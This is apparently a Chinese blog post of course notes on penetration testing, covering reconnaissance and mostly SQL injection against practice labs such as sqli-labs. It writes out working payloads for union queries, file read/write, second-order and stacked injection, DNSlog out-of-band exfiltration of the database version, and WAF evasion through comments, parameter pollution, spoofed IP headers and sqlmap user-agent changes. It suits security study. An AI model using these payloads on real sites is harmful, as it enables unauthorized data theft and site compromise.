小迪安全视频笔记--信息收集+sql注入

web视频笔记

  • 其他
  • web源码
  • 系统及数据库
  • 加解密
  • 信息收集
    • 域名信息收集:
  • web漏洞
  • sql注入
    • 跨库查询
    • 文件读写:
    • json注入
    • access偏移注入
    • 二次注入
    • cookie注入
    • DNSlog注入
    • 堆叠注入
    • waf绕过
    • 白名单的绕过
      • IP白名单
      • 静态资源
      • url白名单
      • 爬虫白名单
    • sqlmap绕过waf
      • 使用自带脚本(--tamper)
      • 自己编写
      • 修改数据包头部
      • 设置为白名单的爬虫
      • 延时注入(--delay)
      • 使用代理池
  • 模糊测试(fuzz)

其他

小迪安全视频笔记--信息收集+sql注入_第1张图片
可利用403确定存在文件夹,404判断文件不存在

小迪安全视频笔记--信息收集+sql注入_第2张图片
可通过burp插入xss
小迪安全视频笔记--信息收集+sql注入_第3张图片

IP扫描扫到www目录下,域名访问只访问到www/text/。ip访问能访问到更多的信息如网站备份。

对于iis策略配置为禁止修改但可访问的可通过菜刀连接后在别的目录操作来绕过。

web源码

小迪安全视频笔记--信息收集+sql注入_第4张图片
重要目录:后台目录、模板目录、数据库目录、数据库配置文件。
脚本类型:asp、php、aspx、jsp、javaweb、python。(目的:不同脚本数据库存储不同,解释型和编译型脚本、不同语言易出现漏洞不同。)
应用分类:门户(综合类漏洞)、电商(业务逻辑漏洞)、论坛(xss,逻辑突出)、博客(漏洞较少)、第三方(由功能决定)。
源码功能决定漏洞类型。
框架、cms、开源、.git源码泄露

源码获取途径:搜索,淘宝,第三方源码站(菜鸟源码)

系统及数据库

小迪安全视频笔记--信息收集+sql注入_第5张图片

  1. nmap -O 探测操作系统
  2. asp+access
  3. php+mysql
  4. asps+mssql
  5. jsp+mssql\oracle
  6. python+mongodb
  7. 数据库的默认端口号:

oracle:1521
mysql:3306
mssql:1433
mongodb:27017
redis:6379
postgresql:5432
db2:5000

  1. 第三方平台或软件
    xshell
    vsftp:端口:21
    phpmyadmin

加解密

小迪安全视频笔记--信息收集+sql注入_第6张图片

信息收集

小迪安全视频笔记--信息收集+sql注入_第7张图片
小迪安全视频笔记--信息收集+sql注入_第8张图片
小迪安全视频笔记--信息收集+sql注入_第9张图片

小迪安全视频笔记--信息收集+sql注入_第10张图片
小迪安全视频笔记--信息收集+sql注入_第11张图片
小迪安全视频笔记--信息收集+sql注入_第12张图片

目录型访问sti.blcu和访问sti.blcu/bbs/返回的页面显示是两套系统,任一套沦陷都会导致全部沦陷。

端口型访问web.0516jz和访问web.0516jz:8080是两套系统。

旁注:同服务器不同网站

前提:对方有多个站点服务器

192.168.1.100:www.a.com和www.b.com。

C段:同网段不同服务器不同站点

192.168.1.100:www.a.com和www.b.com。

192.168.1.101:www.c.com和www.d.com。

自行搭建网站信息不会很全,但使用宝塔或phpstudy信息显示会很全。

注意server、useragent、X-powered By

域名信息收集:

小迪安全视频笔记--信息收集+sql注入_第13张图片

工具:https://github.com/bit4woo/teemo (py2.7)

opengps.cn ip定位
小迪安全视频笔记--信息收集+sql注入_第14张图片

web漏洞

小迪安全视频笔记--信息收集+sql注入_第15张图片

csrf:
ssrf:
目录遍历:源码结构泄露(低危)
文件读取:源码内容获取(低危)
文件下载:下载网站源码
命令执行:(高危)、对抗
xxe安全:
sql注入:主要危害数据库(高危)、ctf常见、对抗
文件上传:获取网站权限(高危)、ctf常见、对抗
xss跨站:获得网站后台权限(低危)
文件包含:(高危)、对抗
反序列化:(中危)、ctf常见
代码执行:(高危)、ctf常见、对抗
逻辑安全:(中危)、src较多
未授权访问:(高危)

靶场:pikachu

sql注入

小迪安全视频笔记--信息收集+sql注入_第16张图片
sql注入产生原理:可控变量、带入数据库查询、变量未存在过滤或过滤不严。

ex:inurl:.php?page=
如何判断注入点:
老方法:

and 1=1		正常
and 1=2		错误

新方法:

1			正常
1丧失		错误

数据库版本:version()

数据库名:database()

数据库用户:user()

操作系统:@@version_compile_os

跨库查询

查所有数据库名:id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata

注意查询别的数据库数据时使用:qqwy.admin

文件读写:

常用函数:load_file(‘$PATH’)

获取路径:select load_file('C:/11.txt');
读取文件列表:
写入文件:select ‘x’ into outfile 'D:/www.txt'; 将‘x’写入D:/www.txt文件中

获取路径的常见方法:

报错显示、遗留文件、漏洞报错、平台配置文件、爆破

写入文件条件:关闭magic_quotes_gpc,当开启时可使用编码的方法绕过。
小迪安全视频笔记--信息收集+sql注入_第17张图片
过滤函数:is_int($id)
小迪安全视频笔记--信息收集+sql注入_第18张图片
insert:插入数据
update:更新数据
delete:删除数据

json注入

语句需要闭合sql语句,自身不用闭合
小迪安全视频笔记--信息收集+sql注入_第19张图片
oracle和mongodb:
小迪安全视频笔记--信息收集+sql注入_第20张图片
access数据库:一站一库。在网站源码里。只有表名、列名、数据。
常用报错函数:
小迪安全视频笔记--信息收集+sql注入_第21张图片

https://www.jianshu.com/p/bc35f8dd4f7c
https://www.jianshu.com/p/fcae21926e5c

access偏移注入

原理:用于表名知道,列名无法获取的情况下。
小迪安全视频笔记--信息收集+sql注入_第22张图片
说明了admin表下有6个字段;
用"*"代表 admin 表的字段数,计算*代替字符的位数。

基本公式为:
order by 出的字段数减去*号的字段数,然而再用order by的字段数减去2倍刚才得出来的答案;
也就是:
* = 6个字符
2 × * = 12个字符
22 - 12 = 10个字符
一级偏移语句:127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id = b.id)
如果你发现,上面查看了网页源码也爆不出数据,可以二级偏移:
二级偏移语句:127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id)
注意:这里是10个字段再减去了表里的6个字段,所以二级偏移这里是select 1,2,3,4

二次注入

url中有id=WQ==的则测试提交时需要编码在提交
无法通过工具手工发现,通常见于源码
原理:分为两步:第一步插入恶意数据;第二步引用恶意数据。
步骤:输入’1’(寻找插入数据库并进行转义的操作)–>转义为’\1’–>进入数据库还原为’1’–>寻找另一处引用的操作–>将’1’取出–>取出后直接给变量并带入sql–>触发sql
sqllibs/less-24/
先新建用户admin’#密码123456
小迪安全视频笔记--信息收集+sql注入_第23张图片
再修改admin’#的密码为admin。
Sql语句变为UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password=''
也就是执行了UPDATE users SET passwd="New_Pass" WHERE username =' admin'
这样admin的密码被修改成了admin

cookie注入

sqllibs/less-21/
在放了第一个post包后会抓到一个get包
小迪安全视频笔记--信息收集+sql注入_第24张图片
将cookie编码
小迪安全视频笔记--信息收集+sql注入_第25张图片
小迪安全视频笔记--信息收集+sql注入_第26张图片

DNSlog注入

小迪安全视频笔记--信息收集+sql注入_第27张图片
http://ceye.io/
DNSlog的好处是解决了盲注没有回显的问题:
id=1' and if ((select load_file(concat('\\\\',(select version()),'.1t7i2f.ceye.io\\abc'))),0,1)--+
注:.1t7i2f.ceye.io\abc是http://ceye.io/注册后的key。

用工具注入:DnsLogSqlinj

sqlmap注入遇到base64加密:
sqlmap -u’http://url/id=WE=’ --tamper base64encode.py --dbs
有些base64注入麻烦可中转一下这样直接测试test.php?x=1即可不必转换进制。
小迪安全视频笔记--信息收集+sql注入_第28张图片python sqlmap.py -u "http:/127.0.0.1/text.php?x=

堆叠注入

即多条语句一起执行。
select * from users where id='1';select * from email;
堆叠注入的局限性:可能受到api或数据库引擎的限制,可能权限不足。
执行语句:sqli/less-38/index.php?id=1';insert into users(id,username,password) values ('38','less','hello');--+
可看到数据库中新建用户less,密码hello。
在这里插入图片描述

waf绕过

小迪安全视频笔记--信息收集+sql注入_第29张图片
内联注释:/**/
select * from users where id = -1 union/**/select 1,2,3;
select * from users where id = -1/*%0a*/ union/*%0a*/ select/*%0a*/ 1,2,3;
?id=1/**&id=-1 union select 1,2,3#*/由于参数污染在绕过waf后会变为select * from users where id=-1 union select 1,2,3#*/ limit 0,1

/*!50001 select * from test */
当数据库版本高于50001时执行select * from test
小迪安全视频笔记--信息收集+sql注入_第30张图片
在这里插入图片描述
小迪安全视频笔记--信息收集+sql注入_第31张图片

白名单的绕过

IP白名单

从网络层获取ip无法伪造。
从客户端获取ip可能存在伪造。
测试方法:

修改http的header来bypass waf
X-forwarded-for
X-remote-IP
X-originating-IP
X-remote-addr
X-Real-ip

静态资源

特定静态资源后缀请求。常见静态文件(.js,.jpg,.swf,.css),waf为了检测效率不会检测这样一些静态文件名
http://127.0.0.1/sqli/less-1/index.php?id=1变为http://127.0.0.1/sqli/less-1/index.php/x.txt?id=1时页面无变化。

url白名单

部分waf有白名单,如/admin.php,/system.php等管理后台。只要url中有字符串就作为白名单不检测。
http://127.0.0.1/sqli/less-1/index.php/admin.php?id=1

爬虫白名单

部分waf允许爬虫 ,不对爬虫检测。可伪造为允许的爬虫。

sqlmap绕过waf

使用自带脚本(–tamper)

在tamper目录下
https://blog.csdn.net/qq_34444097/article/details/82717357
https://blog.csdn.net/m0_37438418/article/details/79491010

自己编写

小迪安全视频笔记--信息收集+sql注入_第32张图片
自己编写替换规则。

修改数据包头部

还需注意sqlmap提交的数据包user-Agent出现了sqlmap字样。安全狗会拦截sqlmap工具
需要自己改,可以使用-–user-anget参数来修改,同时也可以使用-–random-agnet参数来随机的从./txt/user-agents.txt中获取。
–level参数设定为3或者3以上的时候,会尝试对User-Angent进行注入。
小迪安全视频笔记--信息收集+sql注入_第33张图片
即便如此还有可能被拦截。

设置为白名单的爬虫

搜索“搜索引擎爬虫 http 指纹头”
https://blog.csdn.net/zyh_1988/article/details/51360261
也可直接更改Agent头信息

打开sql目录下的\lib\core\option.py
翻到def _defaultHTTPUserAgent()函数
找到函数末尾把:return “%s (%s)” % (VERSION_STRING, SITE)
修改为: return “Googlebot/2.1 (+http://www.google.com/bot.html)”

延时注入(–delay)

--delay 1

使用代理池

sqlmap注入本地的脚本地址–>本地搭建脚本(请求远程地址,数据包自定义)–>远程地址
php自定义http头
PHP发送HTTP请求的6种方法

模糊测试(fuzz)

fuzz不是技术是思路。通过编写脚本进行批量测试。

你可能感兴趣的:(渗透测试,web安全)